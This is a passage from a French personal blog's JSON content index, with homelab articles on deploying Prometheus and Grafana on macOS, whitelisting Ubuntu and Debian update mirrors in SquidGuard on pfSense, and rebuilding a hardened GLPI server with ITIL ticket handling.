macOS. Par exemple, pour calculer l\u0026rsquo;usage mémoire :\nRequête Linux (ne fonctionne pas sur macOS) :\n1 (1 - (node_memory_MemAvailable_bytes / node_memory_MemTotal_bytes)) * 100 Requête macOS (adaptée) :\n1 ((node_memory_active_bytes + node_memory_wired_bytes) / node_memory_total_bytes) * 100 Cette adaptation permet d\u0026rsquo;obtenir des visualisations fonctionnelles, même si elle nécessite un travail manuel de modification des dashboards existants.\nÉtat Actuel de l\u0026rsquo;Infrastructure Après cette première phase d\u0026rsquo;installation et de résolution de problèmes, l\u0026rsquo;infrastructure de monitoring est fonctionnelle avec les composants suivants :\nDocker Desktop : configuré avec 4 cœurs et 8 Go de RAM alloués Prometheus : déployé en conteneur Docker, collecte les métriques sur le port 9090 Grafana : déployé en conteneur Docker, interface de visualisation sur le port 3000 Node Exporter : installé nativement sur macOS, expose les métriques système réelles Dashboards Grafana : nécessitent des adaptations manuelles pour la compatibilité macOS Enseignements Techniques Cette première expérience a permis de comprendre plusieurs points importants :\nArchitecture Docker sur macOS : la virtualisation inhérente à Docker Desktop impose des contraintes spécifiques pour le monitoring système Nommage des métriques : Node Exporter génère des noms de métriques différents selon l\u0026rsquo;OS, impactant la portabilité des dashboards Installation native nécessaire : sur macOS et Windows, les exporters de métriques système doivent être installés en dehors de Docker Environnement Linux différent : sur les futures machines Proxmox (Linux), Node Exporter pourra fonctionner directement en conteneur Docker sans ces limitations Prochaines Étapes du Projet L\u0026rsquo;infrastructure de base étant désormais opérationnelle, les développements futurs incluront :\nCréation de dashboards personnalisés adaptés aux spécificités macOS Déploiement d\u0026rsquo;exporters additionnels : cAdvisor pour le monitoring Docker Blackbox Exporter pour la surveillance réseau Exporters spécifiques pour les services critiques Extension aux machines Proxmox où Node Exporter fonctionnera en conteneur Configuration d\u0026rsquo;Alertmanager pour les notifications automatiques Intégration du NAS Synology et du routeur pfSense au système de monitoring L\u0026rsquo;objectif à terme est de disposer d\u0026rsquo;une vue centralisée complète de l\u0026rsquo;infrastructure du homelab.\nConclusion Ce premier déploiement de Prometheus et Grafana a permis de mettre en évidence une particularité importante de Docker Desktop sur macOS : la virtualisation sous-jacente limite l\u0026rsquo;accès direct aux ressources système de l\u0026rsquo;hôte. Cette contrainte architecturale impose l\u0026rsquo;installation native des exporters de métriques système sur macOS et Windows.\nPoint Clé à Retenir Sur macOS/Windows : les outils de monitoring système doivent être installés nativement, en dehors de Docker. Sur Linux : ces mêmes outils peuvent fonctionner efficacement dans des conteneurs Docker.\nCette différence fondamentale est essentielle à comprendre lors de la mise en place d\u0026rsquo;une infrastructure de monitoring multi-plateforme. Pour mon homelab, cela signifie une approche hybride : exporter natif sur le Mac de contrôle, exporters conteneurisés sur les serveurs Proxmox Linux.\nL\u0026rsquo;infrastructure de base est maintenant opérationnelle et prête à être étendue au reste des équipements du homelab.\nLa suite : Créer mon premier tableau de bord sous Grafana avec mes indicateurs personnels. Ça va me rappeler de bons souvenirs avec Power BI.\nRessources Techniques :\nDocumentation Prometheus : https://prometheus.io/ Documentation Grafana : https://grafana.com/ Node Exporter : https://github.com/prometheus/node_exporter ","permalink":"https://appercel-clement.netlify.app/posts/article-premier-monitoring-prometheus-grafana/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"le-contexte--pourquoi-se-lancer-dans-le-monitoring-\"\u003eLe Contexte : Pourquoi se Lancer dans le Monitoring ?\u003c/h2\u003e\n\u003cp\u003eDans le cadre de ma formation d\u0026rsquo;administrateur système et réseau avec spécialisation cybersécurité, le monitoring s\u0026rsquo;impose comme une compétence essentielle. Impossible de détecter une intrusion, une anomalie ou un problème de performance sans une surveillance adéquate de son infrastructure.\u003c/p\u003e","title":"Premier déploiement de Prometheus et Grafana"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nLe problème : des erreurs 503 mystérieuses Lorsque j’ai commencé à déployer des machines virtuelles dans le cadre de ma formation, j’ai rencontré un problème récurrent que je n’avais jamais eu auparavant, à l’époque où je n’utilisais ni pfSense ni le proxy associé.\nEn effet, lors de l’installation, le système propose normalement une mise à jour automatique des paquets. Or, à chaque tentative, cette étape échouait systématiquement avec des erreurs 503, rendant impossible l’installation de certains paquets essentiels, notamment OpenSSH.\nJ’ai passé une journée complète à chercher la cause avant de finalement comprendre d’où venait le problème.\n⸻\n⸻\nComprendre d\u0026rsquo;où vient le blocage Après investigation, le coupable était clair : SquidGuard. Plus précisément, sa configuration par défaut ultra-restrictive qui bloquait tout avec une simple directive pass none dans l\u0026rsquo;ACL.\nMais pourquoi Ubuntu et Debian en particulier ? Parce que leurs systèmes de dépôts sont plus complexes qu\u0026rsquo;il n\u0026rsquo;y paraît. Quand APT contacte archive.ubuntu.com, il peut être redirigé vers des miroirs géographiques comme :\nfr.archive.ubuntu.com (miroir français) us.archive.ubuntu.com (miroir américain) azure.archive.ubuntu.com (CDN Azure) Cette architecture distribuée est excellente pour les performances, mais cauchemardesque pour une whitelist de proxy qui ne gère que le domaine principal.\nLa fausse bonne idée : ajouter les domaines dans l\u0026rsquo;interface Web Première tentative logique : créer une catégorie \u0026ldquo;System_Updates\u0026rdquo; dans l\u0026rsquo;interface PFSense et y ajouter tous les domaines Ubuntu/Debian. Simple, non ?\nSauf que\u0026hellip; SquidGuard utilise une syntaxe spéciale pour les wildcards : un point devant le domaine. .archive.ubuntu.com signifie \u0026ldquo;ce domaine ET tous ses sous-domaines\u0026rdquo;. Sans le point, seul le domaine exact est autorisé.\nLe problème ? L\u0026rsquo;interface Web PFSense refuse cette syntaxe avec un message d\u0026rsquo;erreur du genre \u0026ldquo;Item \u0026lsquo;.archive.ubuntu.com\u0026rsquo; is not a domain\u0026rdquo;. C\u0026rsquo;est une limitation de la validation du formulaire, pas une erreur de syntaxe SquidGuard.\nFrustrant.\nLa solution hybride qui fonctionne Après avoir lu la documentation officielle de Squid, j\u0026rsquo;ai compris qu\u0026rsquo;il fallait contourner l\u0026rsquo;interface Web. Voici la solution en deux étapes :\nÉtape 1 : Créer le fichier de domaines en SSH Connexion SSH à PFSense et création manuelle du fichier avec la bonne syntaxe :\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 mkdir -p /var/db/squidGuard/System_Updates cat \u0026gt; /var/db/squidGuard/System_Updates/domains \u0026lt;\u0026lt; \u0026#39;EOF\u0026#39; archive.ubuntu.com .archive.ubuntu.com security.ubuntu.com .security.ubuntu.com changelogs.ubuntu.com .changelogs.ubuntu.com esm.ubuntu.com .esm.ubuntu.com deb.debian.org .deb.debian.org security.debian.org .security.debian.org ftp.debian.org .ftp.debian.org fastly.cdn.debian.net .fastly.cdn.debian.net EOF chown -R squid:squid /var/db/squidGuard/System_Updates chmod -R 755 /var/db/squidGuard/System_Updates Notez que chaque domaine apparaît deux fois : avec et sans le point. C\u0026rsquo;est pour assurer une compatibilité maximale entre les différentes versions de SquidGuard.\nÉtape 2 : Activer la catégorie via l\u0026rsquo;interface Web Maintenant que le fichier existe, il faut dire à SquidGuard de l\u0026rsquo;utiliser. Dans l\u0026rsquo;interface PFSense :\nServices \u0026gt; SquidGuard Proxy Filter \u0026gt; Target Categories → Créer une catégorie System_Updates → Dans \u0026ldquo;Domain List\u0026rdquo;, mettre un seul domaine simple accepté par la validation (par exemple ubuntu.com) → Save\nServices \u0026gt; SquidGuard Proxy Filter \u0026gt; Common ACL → Cocher System_Updates et sélectionner \u0026ldquo;allow\u0026rdquo; → Save puis Apply Changes\nPourquoi cette solution fonctionne C\u0026rsquo;est l\u0026rsquo;astuce clé : même si l\u0026rsquo;interface Web n\u0026rsquo;affiche qu\u0026rsquo;un domaine simple, PFSense génère une configuration qui pointe vers le fichier /var/db/squidGuard/System_Updates/domains que nous avons créé en SSH.\nDans /usr/local/etc/squidGuard/squidGuard.conf, on trouve maintenant :\ndest System_Updates { domainlist System_Updates/domains } acl { default { pass System_Updates all } } SquidGuard lit le fichier domains créé en SSH (qui contient les wildcards corrects), pas la liste affichée dans l\u0026rsquo;interface Web. C\u0026rsquo;est pourquoi tous les sous-domaines fonctionnent magiquement.\nVérification et debugging Pour confirmer que tout fonctionne, j\u0026rsquo;utilise ces commandes :\nVérifier le fichier de domaines :\n1 cat /var/db/squidGuard/System_Updates/domains Vérifier que la catégorie est bien activée :\n1 cat /usr/local/etc/squidGuard/squidGuard.conf | grep -A5 \u0026#34;dest System_Updates\u0026#34; Surveiller les blocages en temps réel :\n1 tail -f /var/squidGuard/log/block.log Pendant que vous lancez apt-get update, vous devriez voir \u0026ldquo;PASS\u0026rdquo; dans les logs au lieu de \u0026ldquo;REDIRECT\u0026rdquo;.\nLes pièges à éviter Quelques erreurs classiques que j\u0026rsquo;ai rencontrées :\n❌ Oublier le point devant les domaines → Les sous-domaines ne matcheront pas\n❌ Ne pas définir la catégorie dans l\u0026rsquo;interface Web → Le fichier SSH sera ignoré\n❌ Ordre des ACL incorrect → Si une règle de blocage est évaluée avant l\u0026rsquo;autorisation, ça ne passera jamais\n❌ Ne pas redémarrer Squid → Les changements ne seront pas appliqués\nImplications et maintenance Cette solution fonctionne parfaitement, mais elle a quelques implications :\nMaintenance manuelle : si vous reconfigurez SquidGuard entièrement via l\u0026rsquo;interface, vos modifications SSH seront écrasées. Gardez une sauvegarde du fichier domains.\nExtension progressive : à chaque nouvel outil (Docker, Kubernetes, PyPI, NPM\u0026hellip;), vous devrez ajouter les domaines correspondants. Le fichier peut vite grossir.\nSurface d\u0026rsquo;attaque : en autorisant de nombreux domaines avec wildcards, vous élargissez la surface d\u0026rsquo;attaque potentielle. C\u0026rsquo;est un compromis entre fonctionnalité et sécurité stricte.\nConclusion Ce qui devait être une simple whitelist s\u0026rsquo;est transformé en une petite odyssée technique, mais j\u0026rsquo;en sors avec plusieurs leçons :\nLes interfaces Web ont leurs limites : parfois, il faut mettre les mains dans les fichiers de config La documentation officielle est votre amie : la doc Squid m\u0026rsquo;a sauvé la mise, lire la doc, toujours lire la doc ! Les wildcards, c\u0026rsquo;est puissant : mais il faut connaître la syntaxe exacte de chaque outil Toujours surveiller les logs : tail -f est votre meilleur ami pour le debugging Mon homelab peut maintenant mettre à jour ses VMs en toute tranquillité, avec le proxy activé en permanence. Mission accomplie ! 🎉\nPoint d\u0026rsquo;amélioration : J\u0026rsquo;aimerais quand même revoir un peu la méthode avec le proxy, notamment pour être moins permissif et mettre en place correctement des whitelists et des ACL plus propre pour un prochain projet.\n","permalink":"https://appercel-clement.netlify.app/posts/squidguard-ubuntu-apt-article/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"le-problème--des-erreurs-503-mystérieuses\"\u003eLe problème : des erreurs 503 mystérieuses\u003c/h2\u003e\n\u003cp\u003eLorsque j’ai commencé à déployer des machines virtuelles dans le cadre de ma formation, j’ai rencontré un problème récurrent que je n’avais jamais eu auparavant, à l’époque où je n’utilisais ni pfSense ni le proxy associé.\u003c/p\u003e","title":"Quand votre proxy bloque vos mises à jour Linux : résolution SquidGuard"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nAvant de commencer : Mon ressenti sur ce premier projet Quand j\u0026rsquo;ai découvert le sujet de ce premier projet, quelque chose a immédiatement résonné avec mon expérience passée de Data Analyst. La gestion des tickets dans GLPI m\u0026rsquo;a rappelé mes années à gérer les demandes des utilisateurs concernant mes outils BI. Certes, je n\u0026rsquo;avais pas de référentiel ITIL à l\u0026rsquo;époque, mais j\u0026rsquo;avais développé mon propre système de classification des priorités selon la nature du problème : un souci technique sur l\u0026rsquo;outil, des données erronées remontées, ou simplement un utilisateur qui ne maîtrisait pas correctement la solution. C\u0026rsquo;était mon propre classement empirique, construit au fil de l\u0026rsquo;expérience.\nMais ce qui m\u0026rsquo;a le plus marqué dans ce projet, c\u0026rsquo;est évidemment le scénario de départ : un serveur GLPI en panne et pas de sauvegarde récente. Cette situation m\u0026rsquo;a fait prendre conscience d\u0026rsquo;une vérité fondamentale en infrastructure IT : la sauvegarde, c\u0026rsquo;est la base absolue de tout projet. Que ce soit un snapshot, une sauvegarde complète sur un autre serveur ou dans le cloud, peu importe la méthode, il faut toujours prévoir des plans B. C\u0026rsquo;est une leçon que je n\u0026rsquo;oublierai pas.\nAu-delà de la reconstruction technique, une question me trottait dans la tête tout au long du projet : pourquoi ce serveur est-il tombé en panne ? Dans un environnement réel, cette panne n\u0026rsquo;aurait-elle pas pu être détectée en amont grâce à du monitoring des performances du serveur ? C\u0026rsquo;est là que j\u0026rsquo;ai vraiment compris que la cybersécurité, l\u0026rsquo;administration système et les réseaux relèvent avant tout de la prévoyance. Il ne s\u0026rsquo;agit pas seulement de réagir aux incidents, mais de les anticiper. Le monitoring, l\u0026rsquo;analyse des logs, la surveillance proactive des ressources : tout cela permet d\u0026rsquo;identifier les signaux faibles avant qu\u0026rsquo;ils ne deviennent des pannes critiques. Pour moi, ce projet a été une excellente introduction à cette philosophie : anticiper plutôt que subir. Et c\u0026rsquo;est exactement cette approche que je veux développer dans ma reconversion en cybersécurité. ( On essaiera plusieurs tests sur le homelab, notamment au niveau du monitoring. )\nLe jour où tout a planté (et où il n\u0026rsquo;y avait pas de sauvegarde) Vous savez ce moment où vous regardez un écran noir et où vous réalisez que oui, c\u0026rsquo;est vraiment cassé, et que non, il n\u0026rsquo;y a pas de backup récent ? C\u0026rsquo;est exactement le scénario de mon premier projet dans le cadre de ma formation Administrateur Systèmes, Réseaux et Sécurité (ASRS).\nLe contexte : Une entreprise , un serveur GLPI en panne totale, des tickets de support qui s\u0026rsquo;accumulent, et une mission claire : tout reconstruire de zéro tout en assurant la continuité du service IT.\nC\u0026rsquo;est le genre de situation qui fait pâlir n\u0026rsquo;importe quel administrateur système, mais c\u0026rsquo;est aussi une opportunité d\u0026rsquo;apprentissage exceptionnelle pour démarrer une formation.\nCe qui rend ce projet particulièrement formateur, c\u0026rsquo;est qu\u0026rsquo;il simule une situation que tout administrateur système redoute\u0026hellip; et que beaucoup rencontrent un jour. On ne parle pas ici d\u0026rsquo;une simple installation \u0026ldquo;suivez le tuto\u0026rdquo; : on parle de reconstruire une infrastructure critique sous pression, avec des processus métier à maintenir et des utilisateurs qui attendent.\nLes objectifs étaient ambitieux :\nReconstruire un serveur GLPI 10+ sur Debian 12 (pile LAMP complète) Sécuriser l\u0026rsquo;installation selon les bonnes pratiques Réintégrer tout un backlog de tickets en attente Appliquer rigoureusement la méthodologie ITIL Mettre en place l\u0026rsquo;inventaire automatisé Formaliser les processus pour le support N1 Pour un premier projet de formation, c\u0026rsquo;est un sacré baptême du feu !\nLa stack technique : Retour aux fondamentaux Linux L\u0026rsquo;environnement Pour ce projet, j\u0026rsquo;ai travaillé sur :\nDebian 12 \u0026ldquo;Bookworm\u0026rdquo; en CLI (pas d\u0026rsquo;interface graphique, on fait les choses sérieusement !) Pile LAMP : Apache2, MariaDB 10+, PHP 8+ GLPI 10.x comme solution ITSM VMware Workstation Pro pour la virtualisation Un client Windows 10 pour tester l\u0026rsquo;agent d\u0026rsquo;inventaire Installation et premier piège : La sécurisation d\u0026rsquo;Apache L\u0026rsquo;installation de la pile LAMP en elle-même n\u0026rsquo;était pas le plus complexe. Mais GLPI 10 a introduit une nouvelle architecture de sécurité qui m\u0026rsquo;a donné du fil à retordre au début.\nAprès l\u0026rsquo;installation, GLPI affichait un avertissement de sécurité concernant l\u0026rsquo;accessibilité de certains dossiers sensibles. La solution ? Reconfigurer Apache pour pointer le DocumentRoot vers le dossier /public de GLPI au lieu de la racine de l\u0026rsquo;application.\n1 2 3 4 5 6 7 8 # Configuration sécurisée dans le VirtualHost Apache DocumentRoot /var/www/html/glpi/public \u0026lt;Directory /var/www/html/glpi/public\u0026gt; Options -Indexes +FollowSymLinks AllowOverride All Require all granted \u0026lt;/Directory\u0026gt; Décomposition de cette configuration :\nDocumentRoot : Définit le répertoire racine accessible depuis le web Options -Indexes : Empêche l\u0026rsquo;affichage du contenu des répertoires (sécurité) +FollowSymLinks : Autorise le suivi des liens symboliques AllowOverride All : Permet l\u0026rsquo;utilisation de fichiers .htaccess pour des règles supplémentaires Require all granted : Autorise l\u0026rsquo;accès à ce répertoire Ce que j\u0026rsquo;ai appris : On ne configure pas juste \u0026ldquo;pour que ça marche\u0026rdquo;, on configure pour que ce soit sécurisé. Chaque application web a ses propres bonnes pratiques, et GLPI ne déroge pas à la règle.\nMariaDB : Sécuriser avant de produire La sécurisation de MariaDB a été une étape cruciale. J\u0026rsquo;ai utilisé mysql_secure_installation pour :\nSupprimer les comptes anonymes Désactiver la connexion root à distance Supprimer la base de test Puis création d\u0026rsquo;un utilisateur dédié avec les privilèges minimums nécessaires :\n1 2 3 4 CREATE DATABASE glpidb CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci; CREATE USER \u0026#39;glpiuser\u0026#39;@\u0026#39;localhost\u0026#39; IDENTIFIED BY \u0026#39;[mot_de_passe_fort]\u0026#39;; GRANT ALL PRIVILEGES ON glpidb.* TO \u0026#39;glpiuser\u0026#39;@\u0026#39;localhost\u0026#39;; FLUSH PRIVILEGES; Explication ligne par ligne :\nCHARACTER SET utf8mb4 : Jeu de caractères étendu supportant les émojis et caractères spéciaux COLLATE utf8mb4_unicode_ci : Règles de tri et comparaison insensibles à la casse 'glpiuser'@'localhost' : Utilisateur limité aux connexions locales uniquement GRANT ALL PRIVILEGES ON glpidb.* : Droits complets UNIQUEMENT sur la base GLPI Principe du moindre privilège : Une application ne doit jamais tourner avec le compte root de la base de données. C\u0026rsquo;est une règle d\u0026rsquo;or en sécurité.\nITIL en pratique : Gérer le chaos avec méthode Le backlog de la terreur Une fois le serveur opérationnel, j\u0026rsquo;ai dû intégrer un backlog conséquent de tickets en attente. C\u0026rsquo;est là que la méthodologie ITIL prend tout son sens.\nITIL (Information Technology Infrastructure Library) est le framework de référence pour la gestion des services IT. Dans ce projet, j\u0026rsquo;ai appliqué notamment :\nLa distinction Incident / Demande : Un incident interrompt ou dégrade un service existant, une demande est une évolution ou un besoin nouveau. La priorisation Impact × Urgence : Chaque ticket est évalué selon son impact métier (combien d\u0026rsquo;utilisateurs affectés ?) et son urgence (délai critique ?) pour déterminer sa priorité. L\u0026rsquo;escalade N1 → N2 : Les tickets simples restent au support de premier niveau, les cas complexes remontent au niveau 2. Les cas complexes : Quand la technique rencontre l\u0026rsquo;humain Certains tickets m\u0026rsquo;ont vraiment fait réfléchir au-delà de la technique pure :\nLe conflit \u0026ldquo;Logiciel de Comptabilité\u0026rdquo; Une utilisatrice était bloquée par un logiciel qu\u0026rsquo;elle ne maîtrisait pas, coincée entre son manager qui refusait une formation et les besoins opérationnels urgents.\nMa réponse :\nCréation de tickets liés (un pour l\u0026rsquo;urgence immédiate, un pour la demande de formation) Rédaction d\u0026rsquo;un document de médiation expliquant les risques du statu quo Un email personnalisé à l\u0026rsquo;utilisatrice pour la rassurer sur la prise en charge Leçon apprise : Un bon technicien IT ne fait pas que résoudre des problèmes techniques. Il doit aussi savoir communiquer, médiatiser et documenter pour éviter que les problèmes organisationnels ne se reproduisent.\nLa configuration VPN Partenaire Rédiger une communication technique formelle avec les paramètres IPsec (IKEv2, AES-256, SHA-256, Perfect Forward Secrecy\u0026hellip;) m\u0026rsquo;a obligé à réviser mes connaissances réseau et à comprendre ce que je demandais réellement.\nPoints techniques abordés :\nPhase 1 (IKE) : Établissement du tunnel sécurisé entre les deux équipements VPN Phase 2 (IPsec) : Chiffrement des données transitant dans le tunnel PFS (Perfect Forward Secrecy) : Garantit que la compromission d\u0026rsquo;une clé ne compromet pas les sessions passées Paramètres cryptographiques modernes : AES-256 pour le chiffrement, SHA-256 pour l\u0026rsquo;intégrité L\u0026rsquo;Agent GLPI : L\u0026rsquo;inventaire qui fait gagner du temps La mise en place de l\u0026rsquo;agent d\u0026rsquo;inventaire GLPI sur un poste Windows a été une étape particulièrement gratifiante. Plutôt que de saisir manuellement chaque composant de chaque machine, l\u0026rsquo;agent remonte automatiquement :\nL\u0026rsquo;inventaire matériel complet (processeur, RAM, disques, cartes réseau\u0026hellip;) Les logiciels installés et leurs versions Les informations réseau (adresse IP, MAC, configuration\u0026hellip;) Les licences détectées Le piège que j\u0026rsquo;ai rencontré : Trouver la bonne URL cible pour l\u0026rsquo;agent. Ce n\u0026rsquo;est pas juste http://[IP_SERVEUR] mais bien http://[IP_SERVEUR]/front/inventory.php. Un détail qui m\u0026rsquo;a coûté quelques minutes de débogage !\nFormalisation des processus : Le logigramme N1 Pour aider à la formation du support N1, j\u0026rsquo;ai créé un logigramme décrivant le cycle de vie d\u0026rsquo;un ticket :\nCréation du ticket par l\u0026rsquo;utilisateur ou le technicien Qualification : S\u0026rsquo;agit-il d\u0026rsquo;un incident ou d\u0026rsquo;une demande ? Priorisation : Calcul Impact × Urgence Traitement N1 : Résolution si le problème est standard Escalade N2 si nécessaire (cas complexe ou hors compétence N1) Résolution et clôture avec documentation Retour utilisateur pour validation Cette formalisation permet de standardiser les pratiques et de ne rien oublier dans le traitement d\u0026rsquo;un ticket. C\u0026rsquo;est un outil de formation essentiel pour les nouveaux arrivants au support.\nLes défis techniques rencontrés Connectivité réseau en mode Bridged Travailler sur un portable qui passe du Wi-Fi à l\u0026rsquo;Ethernet selon les lieux m\u0026rsquo;a obligé à bien comprendre le fonctionnement du mode \u0026ldquo;Accès par pont\u0026rdquo; dans VMware. Parfois, un simple redémarrage du service réseau suffisait :\n1 sudo systemctl restart networking.service D\u0026rsquo;autres fois, il fallait vérifier quelle carte physique était utilisée par le pont dans la configuration de VMware.\nApprentissage : Les environnements de lab ne sont jamais aussi stables qu\u0026rsquo;on le voudrait. Il faut savoir diagnostiquer et s\u0026rsquo;adapter aux changements d\u0026rsquo;infrastructure, même mineurs.\nDocumentation vs. Exécution Un défi constant dans ce projet : documenter au fur et à mesure sans perdre le fil technique. Chaque action dans GLPI doit être tracée via les \u0026ldquo;suivis\u0026rdquo;, chaque décision justifiée, chaque résolution documentée.\nCe que ce projet m\u0026rsquo;a apporté Au-delà des compétences techniques, ce projet m\u0026rsquo;a appris quelque chose de fondamental : l\u0026rsquo;administration système, c\u0026rsquo;est 50% de technique et 50% de méthodologie.\nLes compétences techniques acquises Administration Debian en CLI : Installation, configuration, gestion des services (systemctl), permissions (chmod, chown) Configuration sécurisée d\u0026rsquo;une pile LAMP : Apache, MariaDB, PHP avec leurs interdépendances Gestion MariaDB : Création de bases, utilisateurs, gestion des privilèges, sauvegarde (mysqldump) Maîtrise de GLPI : Configuration, gestion des utilisateurs/groupes/profils, traitement de tickets, inventaire Application pratique d\u0026rsquo;ITIL : Priorisation, escalade, distinction incident/demande, base de connaissances Lien avec la cybersécurité Ce projet, bien qu\u0026rsquo;axé \u0026ldquo;administration système\u0026rdquo;, pose des bases cruciales pour la cybersécurité :\nPrincipe du moindre privilège : Chaque utilisateur/service n\u0026rsquo;a que les droits strictement nécessaires à son fonctionnement Sécurisation en profondeur : Chaque couche (base de données, serveur web, application) doit être durcie indépendamment Traçabilité : Tous les événements et actions doivent être loggés et suivis pour l\u0026rsquo;audit et l\u0026rsquo;investigation Procédure de réponse à incident : La procédure \u0026ldquo;Machine Infectée\u0026rdquo; créée est une mini-réponse à incident malware Gestion des accès : Utilisateurs, groupes, profils dans GLPI = Introduction pratique à l\u0026rsquo;IAM (Identity and Access Management) Hardening système : Sécuriser MariaDB, Apache, supprimer les services inutiles = Réduction de la surface d\u0026rsquo;attaque Ces fondamentaux s\u0026rsquo;appliquent directement aux métiers SOC, pentesting et architecture sécurité que je vise.\nLes livrables produits Pour ce projet, j\u0026rsquo;ai produit l\u0026rsquo;ensemble des livrables demandés :\nUn dump SQL complet de la base GLPI configurée avec tous les tickets traités 4 documents PDF : médiation pour le conflit logiciel, communication technique VPN, demande d\u0026rsquo;achat matériel, email utilisateur personnalisé Une présentation complète sur l\u0026rsquo;Agent GLPI (rôle, avantages, mise en place, démonstration) Un logigramme des processus N1 pour la formation du support de premier niveau Une procédure de réponse à incident pour les machines infectées par malware Le code et les livrables anonymisés de ce projet seront disponibles sur mon GitHub.\nProchain article : je vous parlerai de mon second projet\nProjet réalisé dans le cadre de la formation Administrateur Systèmes, Réseaux et Sécurité - Octobre 2025\n","permalink":"https://appercel-clement.netlify.app/posts/projet-glpi-reconstruction/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch2 id=\"avant-de-commencer--mon-ressenti-sur-ce-premier-projet\"\u003eAvant de commencer : Mon ressenti sur ce premier projet\u003c/h2\u003e\n\u003cp\u003eQuand j\u0026rsquo;ai découvert le sujet de ce premier projet, quelque chose a immédiatement résonné avec mon expérience passée de Data Analyst. La gestion des tickets dans GLPI m\u0026rsquo;a rappelé mes années à gérer les demandes des utilisateurs concernant mes outils BI. Certes, je n\u0026rsquo;avais pas de référentiel ITIL à l\u0026rsquo;époque, mais j\u0026rsquo;avais développé mon propre système de classification des priorités selon la nature du problème : un souci technique sur l\u0026rsquo;outil, des données erronées remontées, ou simplement un utilisateur qui ne maîtrisait pas correctement la solution. C\u0026rsquo;était mon propre classement empirique, construit au fil de l\u0026rsquo;expérience.\u003c/p\u003e","title":"ASRS Projet 1 : Reconstruire un GLPI depuis zéro"}]